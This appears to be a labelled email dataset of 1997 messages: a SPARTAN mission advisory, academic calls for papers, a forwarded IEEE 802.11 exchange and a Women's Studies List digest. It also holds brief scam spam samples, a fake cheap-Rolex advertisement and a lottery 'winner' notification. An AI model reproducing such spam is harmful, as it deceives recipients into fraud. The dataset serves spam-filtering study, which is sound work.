IS AVAILABLE AT THE UVCS/SPARTAN WEBSITE LISTED BELOW. SELECT ""CURRENT MISSION"" FROM THE MENU BAR. http://cfa-www.harvard.edu/cfa/spartan/ OR FOR AN UPDATE ON THE STATUS OF THE MISSION PLEASE CHECK THE SPARTAN WEBSITE AT NASA/GSFC FOR WHICH THE URL IS: http://umbra.gsfc.nasa.gov/spartan/ ADDITIONAL ADVISORY INFORMATION WILL BE ISSUED AS NEEDED. THE SPARTAN TEAM REQUESTS THAT OBSERVING REPORTS OF COLLABORATIVE OBSERVATIONS THAT MAY SUPPORT OBSERVATIONS OBTAINED WITH THE ULTRAVIOLET CORONAL SPECTROMETER BE SENT DIRECTLY TO: JOHN KOHL OR LEONARD STRACHAN SAO, MAIL STOP 50 SAO, MAIL STOP 50 60 GARDEN STREET 60 GARDEN STREET CAMBRIDGE, MA 02318 USA CAMBRIDGE, MA 02318 USA EMAIL kohl@cfa.harvard.edu strachan@cfa.harvard.edu 617-495-7377 617-496-7569 AND THAT FOR THE WHITE LIGHT CORONAGRAPH BE SENT TO: RICHARD FISHER OR MADHULIKA GUHATHAKURTA NASA/GSFC MC 682 NASA/GSFC MC 682 GREENBELT, MD 20771 GREENBELT, MD 20771 EMAIL fisher@c682h.gsfc.nasa.gov lika@madhu.gsfc.nasa.gov 301-286-5682 301-286-0722",0,1 Alex Pevtsov ,"Barry LaBonte , Tom Metcalf , Don Mickey ","Wed, 19 Nov 1997 17:14:00 -0700",ASP observations,"Greetings! At last, sorry about such delay! This is a list of ASP observations (first - last magnetogram) I've got. Some of the magentograms may be bad, because of seeing/clouds, so it just lists time periods when we observed. 10/03/97 15:23 - 21:53 UT 10/04/97 14:17 - 22:31 UT 10/05/97 14:13 - 22:22 UT 10/06/97 14:00 - 19:30 UT 10/09/97 14:03 - 21:54 UT 10/10/97 14:11 - 16:41 UT Alex ",0,0 benjamis@sas.upenn.edu,benjamis@sas.upenn.edu,"Fri, 21 Nov 1997 00:01:50 -0500",The Flyer you've been anticipating!,"Please forward this message to anyone you feel may also be interested. > Call for Papers > > 4th Annual Graduate Romanic Association Colloquium on > > << TRADITION AND INNOVATION >> > > University of Pennsylvania > > Department of Romance Languages > > April 4th, 1998 > ---------------------------------------------------------------------------- > We are accepting submissions in Hispanic, Italian, French and > Francophone Literatures and Romance Philology. This year we > encourage papers on established traditions, norms, movements, canon > formation, historicism, conservatism vs. liberalism, new developments, > and anything from cultural and linguistic legacies to the cutting edge. > > Papers should be 8-10 pages in length, double spaced, written in a > Romance language or English. Accepted papers may be eligible for > publication in our Working Papers Series. > Please send an anonymous one-page abstract with a separate self > addressed, stamped envelope and a cover sheet stating the title of your > paper, your name, address, phone number and academic affiliation by > January 26, 1998 to: > > Colloquium Reading Committee > Department of Romance Languages > 521 Williams Hall > University of Pennsylvania > Philadelphia, PA 19104 > > For additional information please contact: > Benjamin Smith: benjamis@sas.upenn.edu > >",0,0 Alyce Donaldson ,Blanche ,,fwd: ," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! 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Gabon"" ",Multiple recipients of list ,"Mon, 24 Nov 1997 00:33:21 -0500",1998 MLA (Modern Language Association) Convention - Special Session," CALL FOR PAPERS: SPECIAL SESSION ON THE MINUIT NOVEL IN THE 1980s AND 1990s 1998 MLA CONVENTION SAN FRANCISCO, DECEMBER 27-30 ******************** All approaches welcome Suggested authors: Jean Echenoz, Jean-Philippe Toussaint, Christian Oster, Christian Gailly, Marie Redonnet, Eugene Savitzkaya, Eric Laurrent, Francois Bon, Eric Chevillard, Marie Ndiaye, etc. Possible topics include (but are not limited to) studies of particular novels and authors; the ""new Minuit""; the new Minuit and postmodernist fiction; the new Minuit and the ""cinema of the look"" (Beneix, Besson, Annaud, Carax...); the new Minuit and previous literary movements (New Novel, New New Novel, Tel Quel, L'OULIPO...); the Minuit novel and popular culture; the ""modernist"" Minuit in the 80s and 90s (Robbe-Grillet, Simon, Duras...); the Minuit novel and contemporary France; politics and strategies of the publishing house, etc. Abstracts or papers by March 1 For further information or submission of proposals, contact: Alain Gabon The University of Iowa French and Italian Phillips Hall 555 Iowa City, IA 52242 Phone: 319-335-2253 (work) 319-353-1943 (home) Fax: 319-335-2270 e-mail: agabon@uiowa.edu ",0,0 NP LOTERIJ ,joseph@orion.sas.upenn.edu,"Tue, 25 Nov 1997 07:02:20 -0100",NOTICFICATION!!!,"ATTENTION: Winner. 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Has anyone seen a good one for French or Romance Lang.? It would be great to include all sorts of conferences and not just the big official ones that everyone knows about - please respond. Thanks! -- Kimberley Jonquil Healey ",0,1 Bart Jacobs ,THEORYNT@LISTSERV.NODAK.EDU,"Mon, 01 Dec 1997 10:53:16 -0800",workshop announcement,"CALL FOR SUBMISSION: WORKSHOP ON COALGEBRAIC METHODS IN COMPUTER SCIENCE ======== == =========== ======= == ======== ======= (Lisbon, 28-29 March 1998 Satelite workshop to ETAPS'98) Organized by: Bart Jacobs, Larry Moss, Horst Reichel, Jan Rutten. Submissions: 7 January 1998: deadline for submissions 15 February 1998: notification 7 March 1998: final version Proceedings: ENTCS (Electronic Lecture Notes in Computer Science), and a special issue of TCS. For more information and instructions for submission see: http://www.cs.kun.nl/~bart/coalg_worksh.html. (We apologize for multiple copies.) ",0,1 Ruy de Queiroz ,THEORYNT@LISTSERV.NODAK.EDU,"Mon, 01 Dec 1997 10:54:34 -0800",WoLLIC'98 - First Call,"***** Please post ***** First Call for Contributions 5th Workshop on Logic, Language, Information and Computation (WoLLIC'98) July 28-31, 1998 ! TUTORIALS >> (Tutorial Day: July 28th) << TUTORIALS ! IME-USP, Sao Paulo, Brazil The ""5th Workshop on Logic, Language, Information and Computation"" (WoLLIC'98), the fifth version of a series of workshops which started in 1994 with the aim of fostering interdisciplinary research in pure and applied logic, will be held in Sao Paulo, Brazil, from July 28th to 31st 1998. Contributions are invited in the form of short papers (6 10pt pages or 1800 words) in all areas related to logic, language, information and computation, including: pure logical systems, proof theory, model theory, algebraic logic, type theory, category theory, constructive mathematics, lambda and combinatorial calculi, program logic and program semantics, logics and models of concurrency, logic and complexity theory, nonclassical logics, nonmonotonic logic, logic and language, discourse representation, logic and artificial intelligence, automated deduction, foundations of logic programming, logic and computation, and logic engineering. The 5th WoLLIC'98 has the scientific sponsorship of the Interest Group in Pure and Applied Logics (IGPL), the European Association for Logic, Language and Information (FoLLI), the Association for Symbolic Logic (ASL), the Sociedade Brasileira de Computacao (SBC), and the Sociedade Brasileira de Logica (SBL). There will be a number of guest speakers, including: Sergei Artemov (Moscow State Univ, Russia) (CONFIRMED), Jon Barwise (Indiana Univ, US) (*), Edmund Clarke (Carnegie-Mellon Univ, US) (CONFIRMED), Ehud Hrushovski (Hebrew Univ Jerusalem, Israel) (*), Phokion Kolaitis (Univ Calif Santa Cruz, US) (*), Maarten de Rijke (Warwick Univ, UK) (*), ... (*) TO BE CONFIRMED Submission: Papers (sent preferably in LaTeX format by e-mail to ** wollic@ime.usp.br **, or in 5(five) copies to postal address) must be RECEIVED by APRIL 3rd, 1998 by one of the Co-Chairs of the Organising Committee. Papers must be written in English and give enough detail to allow the programme committee to assess the merits of the work. Papers should start with a brief statement of the issues, a summary of the main results, and a statement of their significance and relevance to the workshop. References and comparisons with related work is also expected. Technical development directed to the specialist should follow. Results must be unpublished and not submitted for publication elsewhere, including the proceedings of other symposia or workshops. One author of each accepted paper will be expected to attend the conference in order to present it. Authors will be notified of acceptance by MAY 15th, 1998. The abstracts of the papers will be published in a ""Conference Report"" section of the Logic Journal of the IGPL (ISSN 1367-0751) (Oxford Univ Press) as part of the meeting report. Papers presented at the meeting will be invited for submission (in full version) to the Logic Journal of the IGPL (http://www.oup.co.uk/jnls/igpl/). The WoLLIC'98 is hosted by Universidade de Sao Paulo (USP), and will take place at the Mathematics and Statistics Institute (IME). Programme Committee: Andreas Blass (Michigan Univ, USA), Itala D'Ottaviano (Univ Campinas, BR), J. Michael Dunn (Indiana Univ, USA), Wilfrid Hodges (Queen Mary Coll, UK), Francisco Miraglia (Univ Sao Paulo, BR), Luiz Carlos Pereira (Cathol Univ Rio, BR) Andrew Pitts (Cambridge Univ, UK), Amir Pnueli (Weizmann Inst, Israel) Organising Committee: L. S. C. Baptista (UFPE/UFPB), M. Finger (USP), E. Hermann Haeusler (PUC-Rio), A. C. V. de Melo (IME/USP), A. G. de Oliveira (UFBA/UFPE), R. de Queiroz (UFPE), F. C. da Silva (USP) For further information, contact the Co-Chairs of the Organising Committee: Ruy de Queiroz, Departamento de Informatica, Univ. Federal de Pernambuco, CP 7851, 50732-970 Recife, PE, Brazil, e-mail: ruy@di.ufpe.br, tel.: +55 81 271 8430, fax: +55 81 271 8438. Marcelo Finger, Departamento de Ciencia da Computacao, Instituto de Matematica e Estatistica, Universidade de Sao Paulo, Rua do Matao 1010, 05508-900 Sao Paulo, SP, Brazil, e-mail: mfinger@ime.usp.br, tel.: +55 11 818 6287, fax: +55 11 818 6134. Web page: http://www.ime.usp.br/~wollic",0,1 Phil Helmstetter ,ezk@shekel.mcl.cs.columbia.edu,"Wed, 03 Dec 1997 09:49:18 -0500",RE: IEEE 802.11 Polling and CSMA/CSA support -Forwarded -Forwarded,"Date: 12/03/1997 04:29 am (Wednesday) From: Phil Helmstetter To: smtp:""javierg@ctr.columbia.edu"" CC: smtp:""ezk@cs.columbia.com"" Subject: RE: IEEE 802.11 Polling and CSMA/CSA support -Forwarded Forwarded Mail received by: Phil Helmstetter Information to research Received: from wcnd.nl.lucent.com by cbig2.firewall.lucent.com (SMI-8.6/EMS-L sol2) id JAA19096; Fri, 28 Nov 1997 09:12:43 -0500 Received: from wcnd.nl.lucent.com by nwgtw.nl.lucent.com; Fri, 28 Nov 97 15:14 MET Received: from wcnd.nl.lucent.com by nwgtw.nl.lucent.com; Fri, 28 Nov 97 15:13 MET Received: by nwgtw.nl.lucent.com with Microsoft Mail id <347ED190@nwgtw.nl.lucent.com>; Fri Nov 28 15:13 MET 1997 From: ""Champness, Angela"" To: ""Phil"" Cc: ""'jkbennett'"" , ""e.j."" Subject: RE: IEEE 802.11 Polling and CSMA/CSA support Date: Fri, 28 Nov 97 15:02 MET Message-ID: <347ED190@nwgtw.nl.lucent.com> Content-Type: Multipart/Mixed; boundary=""===_Emil_v2_Boundary_===anTPcXONroHkmplnCZXLgACtdmCSjKgUcK"" MIME-Version: 1.0 --===_Emil_v2_Boundary_===anTPcXONroHkmplnCZXLgACtdmCSjKgUcK Content-Type: Text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit Phil, Really appreciated the meeting as well! I learned a lot on what you are experiencing in the market. For more information on polling, suggest to look at: http://www.karlnet.com/WirelessKB.html. Look for cellwave. These products use WaveLAN. For IEEE, attached is a bulletin which explains the various features/functions. Hope this helps. [[ IEEEBUL.DOC : 3873 in IEEEBUL.DOC ]] Rgds, Angela ---------- >From: Phil >To: champness >Subject: IEEE 802.11 Polling and CSMA/CSA support >Date: Wednesday, November 26, 1997 10:08AM > >Angela, > >Thanks for meeting with us again. A quick question: We touched on >WaveLAN's support of both polling and CSMA/CSA. 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Or visit our website and print the subscription form. ---------------------- Mary-Jo Povisil mp57@umail.umd.edu ========================================================================= Date: Thu, 4 Dec 1997 17:07:55 +0000 Reply-To: sstarrett@fullerton.edu Sender: Women's Studies List From: Shari Starrett Organization: Cal State Fullerton Subject: CALL for proposals MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit CALL FOR PROPOSALS 8th ANNUAL PACIFIC SOUTHWEST WOMEN'S STUDIES ASSOCIATION CONFERENCE ""NETworks: Students and Teachers Learning Together"" SATURDAY, APRIL 18, 1998 -- California State University, Fullerton The Pacific Southwest Women's Studies Association solicits proposals for workshops, panels, papers, or presentations from women and men who are students, teachers, staff, and friends of Women's Studies. Proposals may include topical workshops or discussion forums, scholarly research, work in progress, artistic and multimedia presentations, and practical applications. The goal of this conference is to showcase innovative and traditional feminist theory and practice. Interactive workshops are particularly encouraged. Possible topics may include: Grass Roots/Community Acvtivism Media Third Wave Feminisms On-line Research Art Race/Class/Culture Sexuality Politics Aging Spirituality and Religion Lesbian/Queer Studies Creating Web Sites Science Multiculturalism Health/Violence Cyber-Anxiety SUBMIT A ONE-PAGE PROPOSAL BY: MONDAY, JANUARY 26, 1998 to: PSWSA c/o Women's Center- UH 205 California State University, Fullerton Fullerton, CA 92834-6830 FAX: (714) 278-7090 PROPOSALS SHOULD INCLUDE: * Title, contact person, address and phone number, presneter name(s), E-mail, Fax # * Preferred format (e.g. workshop, panel discussion, artistic performance) * Audio/Visual equipment requirements (REQUESTS MUST BE INCLUDED WITH ORIGINAL PROPOSAL) ALL ACCEPTED PRESENTERS MUST PRE-REGISTER FOR THE CONFERENCE. For additional information contact: Elizabeth Say at: (818) 677-3180 or elizabeth.say@csun.edu Our new website is: http://psych.fullerton.edu/pswc/ ========================================================================= Date: Thu, 4 Dec 1997 21:37:27 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Deborah A. Elliston"" Subject: Teaching Tools Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable It's wonderful to learn of the tools others of you have developed for helping students to build critical thinking skills, a project I think should stand at the heart of undergraduate education. I use written assignments I have variously called ""Discussion Summaries"" and, more recently, ""Argument Notes."" (The change in name reflects my attempt to get students to focus more closely on analyzing arguments with minimal descriptive summarizing.) I've had increasingly good results using this tool, even though students may, initially, be rather dismayed by the amount of work involved. Here are the guidelines I hand out the first day of class along with the syllabus: Guidelines for Argument Notes Argument Notes are short analytical summaries of the assigned readings for one class meeting and are due each week the class meets. They should be typed, with 1"" (or more) margins on all sides. Students should aim for making their Notes 350 words in length; the absolute upper limit on word number is 500 words. These analytical summaries are not meant to be exhaustive. Students should aim in their Argument Notes to demonstrate their understanding of the more important arguments the author(s) is (are) making in the day's assigned readings. Argument Notes are intended (1) to help students prepare for in-class discussion of the readings assigned for the day; (2) to help students develop critical thinking skills (by identifying arguments, engaging with arguments, and integrating arguments across readings); and (3) to help students improve their writing skills (clarity of presentation, conciseness, etc.). Argument Notes consist of three sections, which should be clearly identified on the Notes students hand in: (1) Summary: Identify and summarize three to four of the key arguments or main points of the day's assigned readings. Ask yourself what the author is trying to convince you of and how. This section should not be descriptive; it should be analytical. It is also not meant to be exhaustive: pick out three or four of the more important key arguments or main points of the readings, and briefly map them, i.e., elaborate their supporting claims; detail how the argument(s) ""work."" (The summary section is the most important section of your Argument Notes and should be give the most space and attention.) (2) Integration: Pick one or two ways in which the author's arguments or the assigned reading more generally relate to other course readings, films/videos, in-class discussions, or other cross-cultural materials with which you are familiar, and elaborate on these connections. How, for example, do the day's readings challenge, complement, complicate or in some other way relate to other readings, in-class discussions or extra-class materials? Look for points of similarity or difference, and generate connections, contrasts or comparisons between them. (3) Questions/Reactions: Identify questions the readings raise for you that we could discuss in class or in study sections. If you are having difficulties with a particular reading assign=1Fment, this is the place to put your specific questions about which parts of the reading did not make sense. In addition, this is the section in which you can raise objections (to content, style, politics, methods, etc.), agreement, accolades, or any other reactions you have to a reading. If you have strong reactions to the reading(s), in other words, the Questions/Reactions section, and no other section of the Argument Notes, is the appropriate place in which to voice them. (Note: Students should not, then, include your reactions to readings in the Summary and/or Integration sections of the Argument Notes: those sections are analytical places where students are expected to tease out an author's arguments, a necessary step preliminary to and separable from evaluating an author's arguments.) Argument Notes are due on the day the readings are slated for class discussion (as listed on the Course Schedule) and will not be accepted late. Each student is responsible for handing in Argument Notes on one day's readings per week (to be turned in during class the day the readings are slated for discussion), although each student chooses the day, each week, for which s/he wants to write and hand in Argument Notes. Notes are due once per week each week the class meets, except for the first and last weeks of class when no Notes are due. Notes will be graded as either =88 or =88- for the first four weeks students turn them on; from then on Argument Notes will be graded. A =88 indicates the Notes effectively analyze arguments; a =88- is a red flag indicating the Notes do not adquately analyze arguments and students should meet with the instructor or TAs for further guidance on what arguments are and how one goes about mapping them. Argument Notes are worth 40% of each student's final grade for the course. =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83= =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83 Deborah A. Elliston Visiting Assistant Professor * Department of Anthropology 264 McGraw Hall * Cornell University * Ithaca, New York 14853 Phone: 607/255-4040 * Fax: 607/255-3747 * E-mail: dae13@cornell.edu =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83= =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83 =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83= =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83 Deborah A. Elliston Visiting Assistant Professor * Department of Anthropology 264 McGraw Hall * Cornell University * Ithaca, New York 14853 Phone: 607/255-4040 * Fax: 607/255-3747 * E-mail: dae13@cornell.edu =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83= =83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83=83 ========================================================================= Date: Thu, 4 Dec 1997 21:01:45 -0600 Reply-To: mharris@utdallas.edu Sender: Women's Studies List From: Miriam Harris Subject: gender-neutral language MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I am teaching a business communications class in an MBA program. Each time I comment on avoiding the generic ""he"" or changing words like Chairman to Chair I get some flack from one or two. Today, one man insisted that these tre;nds may be true in ""my field"" -- english humanities women's studies -- but in business writing it's just not done. He asserted you would not find attention to gender neutral langauge in business journals. I find that hard to believe and will check in the library for submission guidelines over the weekend. Meanwhile, anyone out there familiar with writers/submission guidlines used by journals in business or technical fields? Comments on trends? Thanks, Miriam K. Harris, Ph.D. mharris@utdallas.edu 972/866-6711 ph. 214/630-1169 fx. ========================================================================= Date: Thu, 4 Dec 1997 21:11:27 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Miriam Harris Subject: Re: birthing and midwifery Comments: To: Libra In-Reply-To: <199712041906.OAA05830@host.warwick.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII See the classic OF WOMAN BORN by Adrienne Rich. Also, THE WOMAN IN THE BODY by Emily Martin has a good section on birthing and midwifery. Miriam K. Harris, Ph.D. mharris@utdallas.edu 972/866-6711 ph. 214/630-1169 fx. On Thu, 4 Dec 1997, Libra wrote: > I had lunch yesterday with a woman who has a PhD and is a nurse midwife. > She and some of her colleagues are trying to address the widespread > misconceptions and confusions around birthing in the USA - i.e. that pain > is to be avoided at all costs (the ubiquity of the epidural), the fears > around ""loosing control"" while laboring, and not yelling while laboring, > etc. Related, is the devaluation of breastfeeding. While we were talking I > realized that I have rarely seen accounts about birthing or midwifery in > women's studies. > > Can anyone help me to make some connections here? > > Denise Bauer > libra@warwick.net > ========================================================================= Date: Thu, 4 Dec 1997 19:34:42 -1000 Reply-To: Women's Studies List Sender: Women's Studies List From: Theresa Conefrey Subject: Re: Textbook Help MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I'm also interested in feminist perspectives in the disciplines. Please publish to the list, or forward me a copy privately. Thanks, Theresa Conefrey English Department University of Hawaii-Hilo. ========================================================================= Date: Fri, 5 Dec 1997 08:49:18 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jack Meacham Subject: Re: A naive question In-Reply-To: <3.0.3.32.19971204193013.006a0604@cuny.campus.mci.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 4 Dec 1997, beatricekachuck wrote: > As you indicate, Jack, you know the difference between describing internal, > mentalist causes of behavior (a trait, a person's 'character', a concrete > 'thing' implanted in a person) and describing behavior (e.g., raises hand). > Your choice was the former, the basis of my comment. You did not describe > behavior. OK, thanks for clarifying. Now I understand the nature of your concern, which I did not from your earlier note. You are recommending that participants on WMST-L not describe people in terms of personality traits but instead be behaviorally specific. In a general sense (as a fellow psychologist), I agree with you, but I suspect that many participants on WMST-L, coming from other disciplines, are not convinced of the merits of behaviorism. > You say that in your email 'naive question' message you left open the > question of biological and contextual causes of your undergraduate women > students' behavior. But you did not. You described a trait, inviting the > former. Hmmm. I suppose it might be true that many people (e.g., essentialists) who make heavy use of trait descriptions are in fact assuming a biological rather than a social or cultural cause. And so if this is true, perhaps I did ""invite"" that interpretation, by not warning against it. [I tried to warn against it, by saying in my first note that I didn't want to get into a discussion of heredity vs. environment, nature vs. nurture.] Just for the record: _I_ don't believe that a trait description necessarily commits one to a biological interpretation. An individual might display a particular trait (if we are going to discuss traits rather than behaviors) because he or she has been socialized to do so. I'm sorry if my original note invited an interpretation that I didn't intend, or permitted an inference that I didn't intend. > You also say that in the past you have argued against biologistic > interpretations of behavior and wrote about the importance of context. The > way you put this resonates that invitation to a biologistic account, shaded > linguistically to straddle biology and social context. It suggests that > your argument accepts the currently mainstream psychologists' position that > there is an inescapable biological program that establishes a boundary for > behavior. Wow! Beatrice, I do feel punished for trying to initiate and maintain a diologue here. You seem to be saying that because I ""argued against biologistic interpretations"" therefore I am accepting the ""position that there is an inescapable biological program."" How could this be? Are you suggesting that even recognizing or acknowledging a position that one disagrees with amounts to agreeing with the position? And so the only valid response is to ignore and not acknowledge a position that one disagrees with? > (A word of explanation seems in order for WMSTers unfamiliar with the > psychological literature involved here: Mainstream psychologists agree that > both heredity and environment are both indispensible in accounting for > human behavior; True. Mainstream psychologists believe this. I also believe this. sometimes the amount attributable to biology is unstated, > sometimes the quantity is simply assumed but rendered invisible by talking > about components of behavior; an attribution of 20% due to biology is > popular. True--the part about this being popular. This permits a large measure of social causation to be entered > into the formula - but that 20% is a constant. Not true, about the 20% being a constant. As variability in the environment decreases, the variance due to heredity will increase; as variability in the environment increases, the variance due to heredity will decrease. So these percentages are, in most discussions, useless. In psychological literature > the biological cause is not specified, avoiding critical examination of > empirical evidence; there's a broad suggestion of genetic cause but also > leaves open the possibility of social determinism fixed at some point in > time prior to the situation being discussed, which, e.g., psychoanalysts > and piagetians prefer. Functionalism? Teleology? Much of what we read in > sociology, literature, etc. responds to these psychologists' paradigms.) I'm not going to respond to this paragraph--I'm not quite sure what it refers to. That is, I would have to make some major inferences in order to discuss it. More important, I would like to make clear that I do not believe in the 20%/80% partialing out of variance. I believe that this is an inappropriate model for understanding heredity and environment, incorporated into the social sciences from agricultural studies. In general, I do not participate in such discussions, because I do not buy into any assumptions of the model (such as that the only two choices are heredity and environment). If forced to use the model, I would answer that behaviors are caused 100% by heredity and 100% by environment. And so I don't want to be identified with ""mainstream"" psychologists. Indeed, Beatrice, you are likely more mainstream than I, in framing the discussion in these terms. (Yes, we've probably reached a new low in name-calling!) For one of my recent attacks on mainstream psychology, see: Meacham, J. (1996). Not MY developmental psychology! Contemporary Psychology, 41(4), 334-336. > Jack, I don't know what you have written elsewhere. I am responding to > what you posted to WMST, which quite clearly puts you in the camp that > accepts the biological base I describe. I've tried to say it clearly in three messages now. I DO believe that biology is important. I don't believe that this makes me a biological determinist. I also believe that culture is important. I also believe that the choices and actions of individuals are important. I don't like the implication that I am merely a biological determinist. > I pointed you to a situation-specific context, one that includes you as > actor, which you ignore in your 'naive question' message. You evidently > know how to reformulate your description of the women students to describe > behavior. (See Paragraph 1, above). You seem not to recognize that I was > suggesting that you take responsibility for the context of the students' > behavior. OK. Personally, I also need to balance that with respect for the students as individuals. I need to understand their perspective on the issues in the course (and in society) and not assume that my perspective is necessarily the correct one or the one that they should adopt. In recommending a program of study, I was indicating that you > need to know a great deal more than you seem to about your responsibility > for the social construction of the students' behavior as well as other > influences on them. As a psychologist, according to your signature, you > surely know that people who acknowledge the importance of context don't > necessarily realize their own role in it; the recommendation should not > offend you. There's a lot for you to know - more than can be dealt with in > an email message. beatrice bkachuck@cuny.campus.mci.net > OK, I probably agree with this. For more on the role of instructors with respect to students' behavior and understanding in the classroom, see, for example: Meacham, J. (1995). Conflict in multicultural classes: Too much heat or too little? Liberal Education, 81(4), 24-29. Ludwig, J., & Meacham, J. (1997). Teaching controversial courses: Student evaluations of instructors and content. Educational Research Quarterly, 21(1), 27-38. Meacham, J. (1996). Interdisciplinary and teaching perspectives on multiculturalism and diversity. American Behavioral Scientist, 40(2), 112-122. I'd be willing to discuss and defend what I have written there. Jack ========================================================================= Date: Fri, 5 Dec 1997 14:43:10 +0000 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Siobhan J. Holland"" Subject: Re: birthing and midwifery MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII >> I have rarely seen accounts about birthing or midwifery in >> women's studies. There is an excellent case study of midwifery at the Rotunda hospital in Dublin by Jo Murphy-Lawless in the *Irish Women's STudies REader* ed. by Ailbhe Smyth (Dublin: Attic Press, 1993) pp.9-19 The article is called 'The Silencing of Women in Childbirth or Let's Hear it for Bartholomew and the boys'. Siobhan Holland ========================================================================= Date: Fri, 5 Dec 1997 08:41:24 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: suzanne Organization: InfiNet Subject: Re: birthing and midwifery MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Siobhan J. Holland wrote: > > >> I have rarely seen accounts about birthing or midwifery in > >> women's studies. > There is an excellent case study of midwifery at the Rotunda > hospital in Dublin by Jo Murphy-Lawless in the *Irish Women's STudies > REader* ed. by Ailbhe Smyth (Dublin: Attic Press, 1993) pp.9-19 > The article is called 'The Silencing of Women in Childbirth or > Let's Hear it for Bartholomew and the boys'. > > Siobhan Holland Brigitte Jordan's book BIRTH IN FOUR CULTURES originally published in 1978 and reissued in 1993 (Waveland Press) offers an interesting comparative study of midwifery and birth from an anthropological perspective. In addition, a recent issue of Medical Anthropology Quarterly Vol. 10 no. 2 June 1996 has a number of articles on this issue. Suzanne Gottschang Tufts University Anthropology Dept. gottsch@telegram.infi.net ========================================================================= Date: Fri, 5 Dec 1997 09:18:42 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: Revision: Authorization/Approval to Post Messages (User's Guide) MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Today's monthly excerpt from the WMST-L User's Guide. The discussion about address changes has been slightly revised: 4) ""I'VE TRIED TO POST A MESSAGE TO THE LIST, BUT I RECEIVED A MESSAGE BACK SAYING THAT I'M NOT AUTHORIZED TO DO SO. I'M A SUBSCRIBER --WHY WAS I TOLD I'M NOT AUTHORIZED?"" B) ""WHEN I SENT A MESSAGE TO WMST-L, I WAS TOLD IT HAD BEEN FORWARDED TO THE LISTOWNER FOR APPROVAL. WHY?"" Only people whom the LISTSERV software recognizes as subscribers can post messages on WMST-L. To subscribe, send the following message to LISTSERV@UMDD (Bitnet) or LISTSERV@UMDD.UMD.EDU (Internet): SUB WMST-L Your Name (e.g., SUB WMST-L Jane Smith). You will receive a response asking you to confirm your subscription request by replying to the response (use the ""reply"" feature; do not ""forward"" or start a new message). Your reply should not include anything but the expression OK (caps or lower case--it makes no difference). After you send back the reply, you should quickly receive a message welcoming you to WMST-L. If you've already subscribed to WMST-L and you run into problems, chances are that you subscribed under a different address than the one from which you sent your recent message--e.g., you subscribed under the address jdoe@mail.ucla.edu and now your institution has shortened your address to jdoe@ucla.edu . The LISTSERV software recognizes subscribers by their e-mail address. If your address undergoes a change, Listserv will no longer recognize you, even if you're still able to receive mail sent to your old address. If the LISTSERV software doesn't recognize your address, you will be unable to post messages, stop mail, unsubscribe, etc. If you can still send mail from the address under which you subscribed, please do so. If you can no longer do so, contact me PRIVATELY (not via a message to WMST-L). B) Postings from all new subscribers (and old subscribers with new subscriptions) are now automatically sent to the listowner for approval. This cuts down on inappropriate messages from newcomers who haven't had time to read the welcome letter. After a few weeks, most subscriptions are quietly readjusted so that messages are no longer subject to prior review. ****************** Each month, I post sections from the WMST-L User's Guide to remind subscribers of the list's resources and procedures. If changes have been made since the last time a section was posted, the subject header will begin ""Revision:"". Also, you can now consult the User's Guide anytime you'd like if you have access to the World Wide Web. The URL is http://www.umbc.edu/wmst/user-guide.html . You can also get a copy of the guide via e-mail by sending the message GET GUIDE WMST-L to LISTSERV@UMDD.UMD.EDU . Joan Korenman Internet: korenman@umbc2.umbc.edu Bitnet: korenman@umbc ========================================================================= Date: Fri, 5 Dec 1997 09:47:12 EST Reply-To: Women's Studies List Sender: Women's Studies List From: FLORENCH Organization: AOL (http://www.aol.com) Subject: WOMEN'S STUDIES QUARTERLY AND WIRING PROBLEMS Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit I want to apologize to the list: I've been waiting for several months to announce the 25th Anniversary issue of Women's Studies Quarterly, even though I've known from the mail that comes and goes across this list, that it would answer a great many questions that keep coming up. I've waited because The Feminist Press has been trying to get its WEB up and running since last December. We finally moved in late July, unfortunately into a landmark building on the City College campus with very poor wiring. We are still having problems, but we hope to solve them by January (still more bad wires in the building!). So I am simply going to say that the 25th Anniversary Issue of WSQ, edited by the late Elaine Hedges and Dorothy Helly, recapitulates the history of Women's Studies by printing 400 pages of material from the issues beginning in 1972, including early reports from Programs all over the country, as well as the history of the NWSA, begun in the pages of WSQ, and then from WSQ's subscriber base, as WSQ committed itself to helping the organization to get established. In addition to this history, the issue includes a long essay by Judith Allan that is critical of current trends; a shorter essay by Ann B. Shteir on graduate programs; a long essay by Florence Howe on trends and problems worldwide; and an Introduction by Hedges and Helly. It's over 500 pages and worth $18.00. Or for $30.00 you can subscribe for 1997 and get the issue about to appear: Teaching African Literatures in a Global Literary Economy, edited by Tuzyline Jita Allan. Your other option is to take a three-year sub for $70.00. Next year, the two issues are: Working Class Studies, edited by Renny Christopher, Lisa Orr, and Linda Strom; and Internationalizing the Curriculum, edited by 